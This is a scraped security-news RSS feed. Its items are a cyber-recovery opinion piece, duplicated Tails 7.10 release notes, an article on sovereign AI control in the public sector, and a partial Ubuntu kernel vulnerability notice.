<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[New Release: Tails 7.10]]></title>
<description><![CDATA[New features
New shutdown procedure
Tails now uses the standard shutdown procedure from GNOME.
The standard shutdown procedure
is a bit slower, but better prevents data loss.
For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document needs ...]]></description>
<link>https://tsecurity.de/de/3688527/it-security-tools/new-release-tails-710/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688527/it-security-tools/new-release-tails-710/</guid>
<pubDate>Thu, 23 Jul 2026 11:24:32 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-release-tails-7_10/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-release-tails-7_10/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-release-tails-7_10/lead.jpg">
    </picture>
    <div class="body"><h2>New features</h2>
<h3>New shutdown procedure</h3>
<p>Tails now uses the standard shutdown procedure from GNOME.</p>
<p>The <a href="https://tails.net/doc/first_steps/shutdown/">standard shutdown</a> procedure
is a bit slower, but better prevents data loss.</p>
<p>For example, the <strong>Power Off</strong> confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.</p>
<p><a href="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png"><img src="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png" alt=""></a></p>
<p>Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.</p>
<p>You can still use the faster <a href="https://tails.net/doc/first_steps/shutdown/#emergency">emergency
shutdown</a> as before.</p>
<h3><em>Celluloid</em> video player</h3>
<p>We replaced <em>GNOME Videos</em> with <em>Celluloid</em> , a more modern and reliable video
player.</p>
<p><a href="https://tails.net/news/version_7.10/celluloid.png"><img src="https://tails.net/news/version_7.10/celluloid.png" alt=""></a></p>
<p>For added security, <em>Celluloid</em> cannot access the network. You can either:</p>
<ul>
<li>Open online videos, like MP4 and AVI files, in <em>Tor Browser</em>.</li>
<li>Open online streaming addresses, like IPTV and HLS addresses, in <em>VLC</em> , installed as <a href="https://tails.net/doc/persistent_storage/additional_software/">additional software</a>.</li>
</ul>
<p><em>Celluloid</em> doesn't work on some computer from 2011 or earlier.</p>
<p>You can use <em>VLC</em> instead, installed as <a href="https://tails.net/doc/persistent_storage/additional_software/">additional
software</a>.</p>
<h2>Changes and updates</h2>
<ul>
<li><p>Update <em>Tor Browser</em> to <a href="https://blog.torproject.org/new-release-tor-browser-15019/">15.0.19</a>.</p>
</li>
<li><p>Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.</p>
</li>
</ul>
<p>For more details, read our
<a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>
<h2>Get Tails 7.10</h2>
<h3>To upgrade your Tails USB stick and keep your Persistent Storage</h3>
<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.10.</p>
</li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/#manual">manual upgrade</a>.</p>
</li>
</ul>
<h3>To install Tails 7.10 on a new USB stick</h3>
<p>Follow our <a href="https://tails.net/install/">installation instructions</a>.</p>
<p>The Persistent Storage on the USB stick will be lost if you install instead of
upgrading.</p>
<h3>To download only</h3>
<p>If you don't need installation or upgrade instructions, you can download Tails
7.10 directly:</p>
<ul>
<li><p><a href="https://tails.net/install/download/">For USB sticks (USB image)</a></p>
</li>
<li><p><a href="https://tails.net/install/download-iso/">For DVDs and virtual machines (ISO image)</a></p>
</li>
</ul>
<h2>Support and feedback</h2>
<p>For support and feedback, visit the <a href="https://tails.net/support/">Support
section</a> on the Tails website.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/tails">
          tails
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[How to Use ChatGPT and Gemini Prompts to Find Out What They Know About You]]></title>
<description><![CDATA[It can be unsettling what Gemini and ChatGPT have figured out about you and how easily your privacy can be punctured. Here’s how to find out.]]></description>
<link>https://tsecurity.de/de/3688513/it-nachrichten/how-to-use-chatgpt-and-gemini-prompts-to-find-out-what-they-know-about-you/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688513/it-nachrichten/how-to-use-chatgpt-and-gemini-prompts-to-find-out-what-they-know-about-you/</guid>
<pubDate>Thu, 23 Jul 2026 11:20:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It can be unsettling what Gemini and ChatGPT have figured out about you and how easily your privacy can be punctured. Here’s how to find out.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.10]]></title>
<description><![CDATA[New features


New shutdown procedure

Tails now uses the standard shutdown procedure from GNOME.

The standard shutdown procedure is a bit slower,
but better prevents data loss.

For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document n...]]></description>
<link>https://tsecurity.de/de/3688478/it-security-tools/tails-710/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688478/it-security-tools/tails-710/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:50 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>New features</h1>


<h2>New shutdown procedure</h2>

<p>Tails now uses the standard shutdown procedure from GNOME.</p>

<p>The <a href="https://tails.net/doc/first_steps/shutdown/index.en.html">standard shutdown</a> procedure is a bit slower,
but better prevents data loss.</p>

<p>For example, the <strong>Power Off</strong> confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.</p>

<p><a href="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png"><img alt="" class="screenshot" height="406" src="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png" width="472"></a></p>

<p>Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.</p>

<p>You can still use the faster <a href="https://tails.net/doc/first_steps/shutdown/index.en.html#emergency">emergency
shutdown</a> as before.</p>

<h2><em>Celluloid</em> video player</h2>

<p>We replaced <em>GNOME Videos</em> with <em>Celluloid</em>, a more modern and reliable video
player.</p>

<p><a href="https://tails.net/news/version_7.10/celluloid.png"><img alt="" class="screenshot" height="675" src="https://tails.net/news/version_7.10/celluloid.png" width="751"></a></p>

<div class="note">

<p>For added security, <i>Celluloid</i> cannot access the network. You can
either:</p>

<ul>

  <li>Open online videos, like MP4 and AVI files, in <i>Tor Browser</i>.

  </li><li>Open online streaming addresses, like IPTV and HLS addresses, in
  <i>VLC</i>, installed as <a href="https://tails.net/doc/persistent_storage/additional_software/index.en.html">additional
  software</a>.</li>

</ul>

</div>




<div class="bug">

<p><i>Celluloid</i> doesn't work on some computer from 2011 or earlier.</p>

<p>You can use <i>VLC</i> instead, installed as <a href="https://tails.net/doc/persistent_storage/additional_software/index.en.html">additional
software</a>.</p>

</div>




<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to <a href="https://blog.torproject.org/new-release-tor-browser-15019/">15.0.19</a>.</p></li>
<li><p>Update some firmware packages. This improves support for newer
hardware: graphics, Wi-Fi, and so on.</p></li>
</ul>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.10</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.10.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.10 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.10 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
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<title><![CDATA[USN-8597-1: Linux kernel (IBM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:46:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVME drivers;
  - PCI subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Framebuffer layer;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - SMB network file system;
  - SquashFS file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - CPU frequency scaling framework;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - Network traffic control;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - ALSA framework;
  - FireWire sound drivers;
  - Creative Sound Blaster X-Fi driver;
  - SoC audio core drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53629,
CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922,
CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809,
CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584,
CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712,
CVE-2025-22107, CVE-2025-23141, CVE-2025-38006, CVE-2025-38105,
CVE-2025-38192, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659,
CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005,
CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206,
CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358,
CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232,
CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237,
CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266,
CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292,
CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113,
CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204,
CVE-2026-23220, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352,
